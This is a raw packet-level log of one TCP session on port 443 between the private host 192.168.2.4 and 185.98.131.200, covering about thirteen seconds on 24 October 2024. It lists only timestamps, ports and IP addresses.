Oct 24, 2024 13:27:59.405416012 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:59.405436039 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:59.405474901 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:59.405486107 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:59.405512094 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:59.405529976 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:59.406116009 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:59.406133890 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:59.406172991 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:59.406188011 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:59.406204939 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:59.406208992 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:59.406228065 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:59.406232119 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:59.406248093 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:27:59.406264067 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:27:59.406297922 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:00.620378017 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:00.620390892 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:00.620421886 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:00.620466948 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:00.620518923 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:00.620557070 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:00.620577097 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:00.625729084 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:00.625756025 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:00.625796080 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:00.625817060 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:00.625842094 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:00.627374887 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:00.737591028 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:00.737618923 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:00.737669945 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:00.737694025 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:00.737715960 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:00.737730026 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:01.266138077 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:01.266151905 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:01.266186953 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:01.266349077 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:01.266374111 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:01.266423941 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:01.373842001 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:01.373908997 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:01.374011993 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:01.374078989 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:01.374118090 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:01.374140024 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:01.379033089 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:01.379079103 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:01.379137039 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:01.379172087 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:01.379199028 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:01.379219055 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:01.383137941 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:01.383199930 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:01.383219004 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:01.383235931 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:01.383268118 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:01.383286953 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:01.390013933 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:01.390058041 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:01.390085936 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:01.390100002 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:01.390120029 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:01.390136957 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:02.624388933 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:02.624418020 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:02.624463081 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:02.624465942 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:02.624532938 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:02.624597073 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:02.624597073 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:02.624597073 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:02.624618053 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:02.624669075 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:02.629585028 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:02.629627943 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:02.629653931 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:02.629667997 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:02.629714966 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:02.629714966 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:02.741347075 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:02.741403103 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:02.741463900 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:02.741492033 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:02.741518021 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:02.741540909 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:03.268378019 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:03.268409967 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:03.268456936 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:03.268579006 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:03.268642902 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:03.268707991 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:03.268707991 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:03.375946045 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:03.376005888 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:03.376064062 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:03.376105070 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:03.376140118 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:03.376161098 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:03.413623095 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:03.413670063 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:03.413722038 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:03.413738012 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:03.413934946 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:03.413934946 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:03.414326906 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:03.414369106 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:03.414390087 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:03.414402008 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:03.414431095 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:03.414450884 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:03.414858103 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:03.414902925 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:03.414925098 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:03.414936066 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:03.414961100 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:03.414978981 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:04.630031109 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:04.630059958 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:04.630105972 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:04.630109072 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:04.630131006 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:04.630137920 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:04.630160093 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:04.630165100 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:04.630186081 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:04.630199909 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:04.634665966 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:04.634710073 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:04.634721041 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:04.634743929 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:04.634757042 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:04.634777069 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:04.634829044 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:04.746565104 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:04.746593952 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:04.746670008 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:04.746692896 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:04.747070074 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:05.274517059 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:05.274547100 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:05.274600983 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:05.274605989 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:05.274656057 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:05.274692059 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:05.274692059 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:05.274708033 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:05.274756908 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:05.382420063 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:05.382493019 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:05.382512093 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:05.382558107 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:05.382616043 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:05.382616043 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:05.387202024 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:05.387264013 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:05.387392044 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:05.387408972 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:05.387461901 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:05.391634941 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:05.391727924 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:05.391732931 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:05.391767025 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:05.391808987 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:05.391809940 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:06.276098013 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:06.276132107 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:06.276184082 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:06.276236057 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:06.276263952 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:06.276401997 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:06.276401997 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:06.384778976 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:06.384851933 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:06.384869099 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:06.384917974 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:06.384958029 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:06.384958029 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:06.390899897 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:06.390961885 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:06.390984058 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:06.390999079 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:06.391052961 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:06.391186953 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:06.397207975 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:06.397258997 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:06.397286892 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:06.397300005 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:06.397325993 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:06.397342920 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:06.500643015 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:06.500713110 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:06.500772953 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:06.500790119 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:06.500817060 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:06.500837088 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:07.637026072 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:07.637043953 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:07.637068033 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:07.637131929 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:07.637202978 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:07.637238979 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:07.637263060 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:07.640069008 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:07.640099049 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:07.640156031 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:07.640177011 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:07.640201092 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:07.640218973 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:07.750658035 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:07.750682116 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:07.750736952 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:07.750787020 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:07.750819921 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:07.750840902 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:08.277811050 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:08.277842999 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:08.277890921 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:08.277921915 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:08.277997017 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:08.278038025 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:08.278059006 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:08.278081894 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:08.278100967 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:08.408802032 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:08.408833981 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:08.408941031 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:08.409003973 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:08.409107924 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:08.409234047 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:08.409255028 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:08.409296036 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:08.409317970 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:08.409344912 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:08.409365892 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:08.409828901 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:08.409849882 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:08.409894943 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:08.409908056 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:08.409934998 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:08.409953117 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:08.410164118 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:08.410182953 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:08.410228968 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:08.410242081 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:08.410267115 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:08.410284042 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:09.865494967 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:09.865529060 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:09.865576982 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:09.865603924 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:09.865680933 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:09.865735054 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:09.865735054 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:09.865735054 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:09.865746975 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:09.865784883 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:09.865817070 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:09.865842104 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:09.865848064 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:09.865873098 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:09.865911961 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:09.865945101 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:09.866008043 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:09.866060972 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:09.866095066 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:09.866111994 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:09.866141081 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:09.866194963 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:10.330193043 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:10.330224037 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:10.330277920 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:10.330332994 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:10.330399036 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:10.330483913 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:10.330483913 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:10.437673092 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:10.437740088 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:10.437793016 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:10.437859058 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:10.437901974 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:10.437925100 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:10.443581104 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:10.443661928 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:10.443712950 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:10.443749905 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:10.443787098 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:10.443806887 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:10.447190046 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:10.447247028 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:10.447288990 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:10.447309017 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:10.447365999 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:10.447365999 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:10.456033945 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:10.456057072 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:10.456096888 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:10.456104994 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:10.456130028 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:10.456152916 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:11.689017057 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:11.689050913 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:11.689101934 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:11.689141035 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:11.689193010 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:11.689228058 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:11.689254999 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:11.694329977 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:11.694374084 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:11.694421053 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:11.694442987 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:11.694468021 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:11.694485903 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:11.805432081 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:11.805497885 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:11.805533886 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:11.805599928 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:11.805635929 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:11.805659056 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:12.334067106 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:12.334098101 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:12.334203005 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:12.334495068 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:12.334559917 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:12.334892035 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:12.441824913 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:12.441885948 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:12.442003965 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:12.442003965 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:12.442066908 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:12.442135096 CEST	49731	443	192.168.2.4	185.98.131.200
